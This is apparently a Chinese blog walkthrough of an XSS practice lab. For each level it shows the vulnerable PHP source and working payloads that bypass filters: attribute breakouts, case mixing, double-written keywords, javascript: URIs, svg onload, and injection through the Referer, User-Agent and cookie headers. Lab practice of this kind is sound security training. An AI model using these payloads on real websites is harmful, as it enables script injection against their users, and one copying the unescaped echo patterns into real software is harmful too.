一個XSS靶場練習記錄
https://blog.csdn.net/qq_41500251/article/details/101116697
001.level 1 反射型
1、觀察源碼
<script>
window.alert = function()
{
confirm("完成的不錯!");
window.location.href="level2.php?keyword=test";
}
</script>
修改?name=<script>alert()</script>
即可
002.level 2
1、測試輸入
輸入123
輸出
全部輸出
輸入特殊字符
'<>?\"/6666
查看頁面源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219194808.png?1609079862970
實體化了< > "
2、嘗試構造payload
原:<input name=keyword value="123">
payload:" onclick=alert("xss")>
成功彈窗
疑問:為什么我使用了過濾的字符,依舊可以執行呢?
查看后台源碼
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
可以發現,沒有找到和".htmlspecialchars($str)."相關的結果
,使用了過濾,而<input name=keyword value="'.$str.'">
並沒有過濾,即,該題是偽過濾,
總結找到鼠標單擊的區域的方:
$\color{red}{右鍵打開firebug查看元素}$
003.level 3
1、測試輸入
輸入123
查看頁面源碼
<input name=keyword value='123'>
輸入特殊字符
'<>?\:"/6666
查看頁面源碼
<input name=keyword value=''<>?\:"/6666'>
對< > "過濾
2、嘗試構造payload
'onclick=alert(0) '
再點擊搜索框即可
004.level 4
1、測試輸入
輸入123
查看頁面源碼
<input name=keyword value="123">
易知需要”閉合
輸入特殊字符
'<>?\:"/6666
查看頁面源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219213502.png?1609079862997
過濾了< >
2、構造payload
" onclick=alert(0)
通過
3、查看后端源碼
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
005.level 5
1、測試輸入
輸入123
查看頁面源碼
易知需要 ” 閉合
輸入特殊字符
'<>?\:"/6666
沒有進行過濾
2、構造payload
<script>alert(1)</script>
沒有彈窗,查看頁面源碼
<input name=keyword value="" <scr_ipt>alert(1)</script> ">
發現script中間插入 _
使用其他方法繞過
" onclick=alert(0)
查看頁面源碼
<input name=keyword value="" o_nclick=alert(0) ">
發現on中間插入 _
使用其他方法繞過
> <a href='javascript:alert(0)'>111</a>
006.level 6
1、測試輸入
輸入123456
查看頁面源碼
易知需要 ” 閉合
輸入特殊字符
'<>?\:"/6666
沒有進行過濾
頁面源碼
<h2 align=center>沒有找到和123456相關的結果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="123456">
2、構造payload
" > <script>alert(1)</script>
頁面顯示
<form action=level6.php method=GET>
<input name=keyword value="" > <scr_ipt>alert(1)</script> ">
可知關鍵字script被過濾了
嘗試繞過
" > <ScRipt>alert(1)</sCript>
成功
007.level 7
1、測試輸入
輸入123456
查看頁面源碼
易知需要 ” 閉合
輸入特殊字符
'<>?\:"/6666
沒有進行過濾
輸入關鍵字
script on src data href
頁面源碼
<form action=level7.php method=GET>
<input name=keyword value=" ">
全部替換成空
嘗試大小寫繞過
sCripT On sRc dAta Href
同樣全部替換成空
2、構造payload
" > <scrscriptipt>alert(1)</sscriptcript>
成功
008.level 8
1、測試輸入
輸入123456
查看頁面源碼
</center><center><BR><a href="123456">友情鏈接</a></center><center>
易知需要 ” 閉合
輸入特殊字符
'<>?\:"/6666
查看頁面源碼
</center><center><BR><a href="'<>?\:"/6666">友情鏈接</a></center><center>
過濾了 "
輸入關鍵字 並大小寫
script sCripT on On src sRc data dAta href Href
全部過濾了
</center><center><BR><a href="scr_ipt o_n sscr_ipt scr_ipt o_n o_n sr_c sr_c da_ta da_ta hr_ef hr_efrc da_ta hr_ef">友情鏈接</a></center><center>
嘗試雙寫繞過
scrscriptipt oonn ssrcrc ddataata hhrefref
全部過濾了
</center><center><BR><a href="scrscr_iptipt oo_nn ssr_crc dda_taata hhr_efref">友情鏈接</a></center><center><img src=level8.jpg></center>
嘗試使用HTML實體編碼繞過
javascript:alert(1)
成功彈窗
另外一種解法
對一下進行HTML編碼
>友情鏈接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>
>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>
失敗,不知為什么。。
009.level 9
1、測試輸入
輸入123456
查看頁面源碼
</center><center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center><center><img src=level9.png></center>
進行過濾了
輸入特殊字符
'<>?\:"/6666
查看頁面源碼
</center><center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center><center><img src=level9.png></center>
進行過濾了
不太對勁,查看后台源碼
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
會檢查是否存在http://
2、構造payload
javascript:alert("http:// ")
發現對script進行過濾
javascript:alert("http:// ")
成功
010.level 10
1、測試輸入
輸入123456
查看頁面源碼
<h1 align=center>歡迎來到level10</h1>
<h2 align=center>沒有找到和123456!相關的結果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
查看后台源碼
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
發現后台獲取兩個參數,且t_sort可以利用,並且過濾了< >
字符
2、構造payload
?t_sort=0" onclick=alert(1) type="text"
011.level 11
1、猜測同上一題
查看后台源碼
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
可知,后台從http請求頭獲得了referer參數
2、構造payload
" onmouseover=alert(11) type="text"
012.level 12
1、查看源碼
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
從HTTP_USER_AGENT獲得參數值
2、構造payload
" onmouseover=alert(0) type=""
013.level 13
1、查看源碼
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
從cookie中獲得user參數的值
2、構造payload
" onmouseover=alert(0) type=""
014.level 14
查看教程
這關是利用修改exif信息,在exif信息中寫入xss代碼,然后上傳上去,別人點擊這個圖片就會中招。
暫時跳過
015.level 15
1、查看源碼
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include指令用於包含外部的 HTML 文件。即'.htmlspecialchars($str).'
2、構造payload
?src='./level1.php'
失敗,暫時跳過
016.level 16
1、刷新,抓包,
<center>test</center><center><img src=level16.png></center>
沒辦法,只好看后台源碼
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
先小寫,過濾script,空格,/
2、構造payload
?keyword=<svg%0aonload=alert(0) ></svg>
?keyword=<svg%0onmouseover=alert(0) ></svg>
017.level 17
1、觀察url,測試輸入
?arg01=123&arg02=456
頁面源碼
<embed src=xsf01.swf?123=456 width=100% heigth=100%>
輸入特殊字符
?arg01='<>?\:"/6666&arg02='<>?\:"/6666
頁面源碼
<embed src=xsf01.swf?'<>?\:"/6666='<>?\:"/6666 width=100% heigth=100%>
易知過濾了< > "
輸入關鍵字
?arg01=script sCripT on On src sRc data dAta href Href&arg02=456
頁面源碼
<embed src=xsf01.swf?script sCripT on On src sRc data dAta href Href=456 width=100% heigth=100%>
2、構造payload
?arg01=123&arg02=456 onclick=alert(0)
成功
018.level 18
解題過程同上
019.level 19
1、觀察url,測試輸入
?arg01=123&arg02=456
頁面源碼
<embed src="xsf03.swf?123=456" width=100% heigth=100%>
2、查資料,這個是flash xss,涉及到反編譯,
解題連接
https://www.jianshu.com/p/4e3a517bc4ea
后台源碼
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
3、詳細過程
使用碩思閃客精靈
將xsf03.swf導出為HTML5文件
大致內容如下
<!DOCTYPE HTML>
<html>
<head>
<style>*{margin:0;padding:0;}</style>
<meta charset="utf-8" />
<title></title>
</head>
<body style="overflow:hidden;">
<script>var data ={"Bg":"#FFFFFF","FV":"8","Fc":"1","Fh":"100","Fr":30.0,"Fw":"300","Ft":{"xi":0,"xm":300,"yi":0,"ym":100}....}
</script>
<script src="sprite.js"></script>
</body>
</html>
並沒有找到有用的信息
跳過
020.level 20
跳過